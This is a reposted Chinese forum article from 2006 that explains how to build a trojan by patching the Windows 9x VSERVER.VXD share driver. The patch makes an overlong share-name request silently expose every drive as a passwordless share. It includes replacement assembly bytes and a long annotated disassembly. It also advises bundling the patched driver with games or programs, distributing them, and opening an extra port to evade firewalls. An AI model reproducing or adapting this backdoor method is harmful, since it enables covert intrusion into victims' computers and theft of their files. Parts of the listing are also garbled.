首页 电脑 电脑学堂 查看内容

自己做木马的一点心得(VB黑客编程)

2006-9-2 00:01 950 0

摘要:      其实我自己也说不来的,我黑色杀手的技术也不是很好。朋友们我现在也要谢谢你门给我点意见~~!!!网上木马程序很流行,其实说来也很简单,大致都是修改注册表...
关键词: LOC MOV ptr Jump short ebx xref DWORD nbsp byte

     其实我自己也说不来的,我黑色杀手的技术也不是很好。朋友们我现在也要谢谢你门给我点意见~~!!!网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者INI文件加载一个文件提供服务,这就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网络通信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内核而作出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。         下面就是简单改动一个驱动程序做一个木马的方法。大家可以分析别的驱动程序相应的作出自己的木马来。这儿是利用WINDOWS的共享和远程管理。 WINDOWS的共享如果共享名是ADMIN$就可以远程管理,就是登陆ADMIN$进去了后所有的盘都完全共享为盘符加$.下面一段就是VSERVER。VXD处理共享的一段程序,SUB_0027校验密码,密码对了后后面检测共享名是ADMIN $否,是就看C$,D$...共享没有(DATA_0431==0?),没共享就调用SUB_0230共享,SUB_0230 一个参数就是密码指针,如果密码指针为0就没密码。这儿为了好改动就用的这个参数。显然我们就可以必要的时候调用SUB_0230就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419出错返回,显然我们可以利用这儿去调用SUB_0230. 看LOC_0419 有7个字节可以利用,可以安排 CALL SUB_0230 NEW_LOC_0418 POP eax jmp 03469刚好7个字节。3436: JE LOC_0418 是没找到要共享的目录跳转到LOC_0418 显然要改动,改动成JE NEW_LOC_0418 就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH 0以调用SUB_0230。下面是LOC_0415的改法: LOC_0415: 03415 XOR EAX,EAX ;2 字节,同样SUB AL,AL 得到AL=0;还得到EAX=0。03417 PUSH EAX ;1 字节 调用SUB_0230 用的DWORD参数 0;03418 XOR ECX,ECX ;2 字节 ECX=0;0341A DEC ECX ;1 字节 得到ECX=0FFFFFFFFH这儿与MOV ECX,0FFFFH一样但字节数少0341B mov edi,ebx ;2 bytes0341D repne scasb ;2 bytes 0341F SUB EDI,EBX ;2 bytes get the share name long03421 CMP EDI, 0Dh ;3 bytes大于等于0DH跳转。这儿条件可以改动为等于多少跳转等。03424 ja short loc_0419 ; 2 byte 03426 POP EAX ;1 byte 堆栈平衡 03427 PUSH EDI ;1 byte03428 POP EAX ;1 byte EAX=EDI SHARE NAME LONG , 后面要用         刚好字节够用,注意DATA_0182 那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD也改动,还有访问共享目录\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置,再把你的程序散发。。。。。         中了你的木马的你访问他的共享目录后面加一大串字母(共享名串长大于等于0DH)会提示出错,但你就可以再访问\\IP\C$, \\IP\D$....了,这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设置远程管理的话 \\IP\C$,\\IP\D$... 都不能访问的,他自己用网络监视器也看不到这种共享的,所以很不容易觉察的。注意你进入共享目录了网络监视器还是能看到。 ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌; SUBROUTINE;; Called from: 031FD, 32CC;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘 033F4 sub_0026 proc near033F4 56 push esi033F5 66| 81 3B 5C5C cmp word ptr [ebx],5C5Ch033FA 74 07 je short loc_0412 ; Jump if equal033FC 66| 81 3B 2F2F cmp word ptr [ebx],2F2Fh03401 75 12 jne short loc_0415 ; Jump if not equal03403 loc_0412: ; xref 033FA03403 8D 73 02 lea esi,dword ptr [ebx+2] ; Load effective addr03406 loc_0413: ; xref 0340F03406 E8 00006961 call sub_0207 ; (09D6C)0340B 74 05 jz short loc_0414 ; Jump if zero0340D 3C 5C cmp al,5Ch ; ‘\‘0340F 75 F5 jne loc_0413 ; Jump if not equal03411 46 inc esi03412 loc_0414: ; xref 0340B03412 8D 5E FF lea ebx,dword ptr [esi-1] ; Load effective addr03415 loc_0415: ; xref 0340103415 2A C0 sub al,al03417 B9 0000FFFF mov ecx,0FFFFh0341C 8B FB mov edi,ebx0341E F2/ AE repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al03420 8B C7 mov eax,edi03422 2B C3 sub eax,ebx03424 83 F8 0D cmp eax,0Dh03427 77 26 ja short loc_0419 ; Jump if above03429 55 push ebp0342A 8B 2D 00011CA4 mov ebp,dword ptr data_0182 ;THE SHARE POINTER ; (11CA4=0)03430 loc_0416: ; xref 0344C03430 ?1 FD 00011CA4 cmp ebp,11CA4h03436 74 16 je short loc_0418 ; Jump if equal03438 80 7D 08 02 cmp byte ptr [ebp+ClientEBP],20343C 75 0B jne short loc_0417 ; Jump if not equal0343E 8D 75 11 lea esi,dword ptr [ebp+11h] ; Load effective addr03441 8B FB mov edi,ebx03443 8B C8 mov ecx,eax03445 F3/ A6 repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]03447 74 3A jz short loc_0424 ; Jump if zero03449 loc_0417: ; xref 0343C03449 8B 6D 00 mov ebp,dword ptr [ebp+ClientEDI]0344C EB E2 jmp short loc_0416 ; (03430)0344E loc_0418: ; xref 034360344E 5D pop ebp0344F loc_0419: ; xref 034270344F B8 00060002 mov eax,60002h03454 5E pop esi03455 F9 stc ; Set carry flag03456 C3 retn03457 loc_0420: ; xref 0349F03457 8B 43 34 mov eax,dword ptr [ebx+34h]0345A 8B 1B mov ebx,[ebx]0345C 81 FB 00011CA4 cmp ebx,11CA4h03462 74 0A je short loc_0421 ; Jump if equal03464 3B 43 34 cmp eax,dword ptr [ebx+34h]03467 74 2F je short loc_0425 ; Jump if equal03469 B8 00020002 mov eax,20002h0346E loc_0421: ; xref 03462, 3481, 354D, 35E80346E ?E pop esi0346F F9 stc ; Set carry flag03470 C3 retn03471 33 DB db 33h,0DBh03473 loc_0422: ; xref 0349D03473 5E pop esi03474 C3 retn03475 loc_0423: ; xref 034C103475 8B D3 mov edx,ebx03477 鶥B 0000000A mov ebx,0Ah ; (0000A=0B8h)0347C B8 00590002 mov eax,590002h03481 EB EB jmp short loc_0421 ; (0346E)03483 loc_0424: ; xref 0344703483 8B DD mov ebx,ebp03485 59 pop ecx ;ebp ,the password long 03486 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0)0348D 75 12 jnz short loc_0426 ; Jump if not zero0348F 8B 34 24 mov esi,[esp]03492 F6 46 1F 01 test byte ptr [esi+1Fh],103496 75 09 jnz short loc_0426 ; Jump if not zero03498 loc_0425: ; xref 0346703498 E8 00000182 call sub_0027 ; (0361F) check the password 0349D 72 D4 jc loc_0422 ; Jump if carry Set0349F 75 B6 jnz loc_0420 ; Jump if not zero034A1 loc_0426: ; xref 0348D, 3496034A1 F6 43 10 40 test byte ptr [ebx+10h],40h ; ‘@‘034A5 0F 85 00000089 jnz loc_0433 ; Jump if not zero034AB A1 00011CC4 mov eax,data_0190 ; (11CC4=0FFFFF000h)034B0 80 38 01 cmp byte ptr [eax],1034B3 0F 83 00000134 jae loc_0439 ; Jump if above or =034B9 loc_0427: ; xref 0353B, 3564, 356F, 35F6; 3611034B9 66| 8B 53 0E mov dx,word ptr [ebx+0Eh]034BD 66| 39 53 0C cmp word ptr [ebx+0Ch],dx034C1 76 B2 jbe loc_0423 ; Jump if below or =034C3 loc_0428: ; xref 03528034C3 8B 0D 00011B34 mov ecx,dword ptr data_0170 ; (11B34=0)034C9 85 C9 test ecx,ecx034CB 74 56 jz short loc_0431 ; Jump if zero034CD 8B 01 mov eax,[ecx]034CF A3 00011B34 mov data_0170,eax ; (11B34=0)034D4 66| FF 43 0E inc word ptr [ebx+0Eh]034D8 89 59 0C mov dword ptr [ecx+0Ch],ebx034DB C6 41 14 03 mov byte ptr [ecx+14h],3034DF 8A 41 17 mov al,byte ptr [ecx+17h]034E2 04 08 add al,8034E4 0C C0 or al,0C0h034E6 88 41 17 mov byte ptr [ecx+17h],al034E9 C6 41 15 00 mov byte ptr [ecx+15h],0034ED 8B 34 24 mov esi,[esp]034F0 F6 46 1F 08 test byte ptr [esi+1Fh],8034F4 75 08 jnz short loc_0429 ; Jump if not zero034F6 A1 00011CC8 mov eax,data_0191 ; (11CC8=0FFFFF000h)034FB FF 40 10 inc dword ptr [eax+10h]034FE loc_0429: ; xref 034F4034FE 5E pop esi034FF 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h ;ADMIN$ ?03506 75 0E jne short loc_0430 ; Jump if not equal03508 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh0350E 75 06 jne short loc_0430 ; Jump if not equal03510 80 7B 17 00 cmp byte ptr [ebx+17h],003514 74 61 je short loc_0435 ; Jump if equal03516 loc_0430: ; xref 03506, 350E, 358403516 B8 00011CD4 mov eax,11CD4h0351B E8 000056BC call sub_0130 ; (08BDC)03520 85 DB test ebx,ebx03522 C3 retn03523 loc_0431: ; xref 034CB03523 E8 00000190 call sub_0028 ; (036B8)03528 73 99 jnc loc_0428 ; Jump if carry=00352A EB 00 jmp short loc_0432 ; (0352C)0352C loc_0432: ; xref 0352A0352C 5F pop edi0352D B8 00590002 mov eax,590002h03532 F9 stc ; Set carry flag03533 C3 retn03534 loc_0433: ; xref 034A503534 8B 34 24 mov esi,[esp]03537 F6 46 1F 01 test byte ptr [esi+1Fh],10353B 0F 85 FFFFFF78 jnz loc_0427 ; Jump if not zero03541 loc_0434: ; xref 03575, 358F03541 ?B D3 mov edx,ebx03543 BB 0000000B mov ebx,0Bh03548 B8 00050001 mov eax,50001h0354D E9 FFFFFF1C jmp loc_0421 ; (0346E);* No entry point to code03552 8B 3C 24 mov edi,[esp]03555 53 push ebx03556 8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)0355C E8 FFFFE407 call sub_0009 ; (01968)03561 5B pop ebx03562 0B ED or ebp,ebp ; Zero ?03564 0F 84 FFFFFF4F jz loc_0427 ; Jump if zero0356A 3E: 83 7D 10 00 cmp dword ptr ds:[ebp+ClientEBX],00356F 0F 85 FFFFFF44 jne loc_0427 ; Jump if not equal03575 EB CA jmp short loc_0434 ; (03541)03577 loc_0435: ; xref 0351403577 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0)0357E 74 11 jz short loc_0436 ; Jump if zero03580 F6 46 1F 01 test byte ptr [esi+1Fh],103584 75 90 jnz loc_0430 ; NOT ADMIN$ Jump if not zero03586 66| FF 4B 0E dec word ptr [ebx+0Eh]0358A C6 41 14 00 mov byte ptr [ecx+14h],00358E 56 push esi0358F EB B0 jmp short loc_0434 ; (03541)03591 loc_0436: ; xref 0357E03591 80 4E 1F 01 or byte ptr [esi+1Fh],103595 C6 41 15 01 mov byte ptr [ecx+15h],103599 8B FE mov edi,esi 0359B 8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)035A1 83 3D 000134E0 00 cmp dword ptr data_0431,0 ; C$,D$ HAVE BEEN SHARED(134E0=0)035A8 75 14 jne short loc_0437 ; Jump if not equal035AA 52 push edx035AB 51 push ecx035AC 8D 4B 1E lea ecx,dword ptr [ebx+1Eh];THE ADMIN$ PASSWORD 035AF ?1 push ecx ; PARAMETER_1 if ecx=0 no password035B0 E8 0000856F call sub_0230 ;MAKE C$,D$SHARE (0BB24)035B5 59 pop ecx035B6 59 pop ecx035B7 5A pop edx035B8 FF 05 000134E0 inc dword ptr data_0431 ; (134E0=0)035BE loc_0437: ; xref 035A8035BE 53 push ebx035BF E8 FFFFE3A4 call sub_0009 ; (01968)035C4 72 13 jc short loc_0438 ; Jump if carry Set035C6 8B 3D 00011CCC mov edi,dword ptr data_0192 ; (11CCC=0FFFFF000h)035CC 8B BF 000000E2 mov edi,dword ptr ds:[0E2h][edi] ; (000E2=358B0000h)035D2 89 7B 04 mov dword ptr [ebx+4],edi035D5 5B pop ebx035D6 85 DB test ebx,ebx035D8 C3 retn035D9 loc_0438: ; xref 035C4035D9 5A pop edx035DA C6 41 14 00 mov byte ptr [ecx+14h],0035DE BB 0000000C mov ebx,0Ch035E3 B8 00010002 mov eax,10002h035E8 E9 FFFFFE81 jmp loc_0421 ; (0346E)035ED loc_0439: ; xref 034B3035ED 75 28 jnz short loc_0440 ; Jump if not zero035EF 8B 34 24 mov esi,[esp]035F2 F6 46 1F 01 test byte ptr [esi+1Fh],1035F6 0F 85 FFFFFEBD jnz loc_0427 ; Jump if not zero035FC 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h03603 75 12 jne short loc_0440 ; Jump if not equal03605 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh0360B 75 0A jne short loc_0440 ; Jump if not equal0360D 80 7B 17 00 cmp byte ptr [ebx+17h],003611 0F 84 FFFFFEA2 je loc_0427 ; Jump if equal03617 loc_0440: ; xref 035ED, 3603, 360B03617 B8 00510002 mov eax,510002h0361C 5F pop edi0361D F9 stc ; Set carry flag0361E C3 retnsub_0026 endp好了我就说这么多了~~我也说不了多少~~黑色杀手什么也杀不了
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部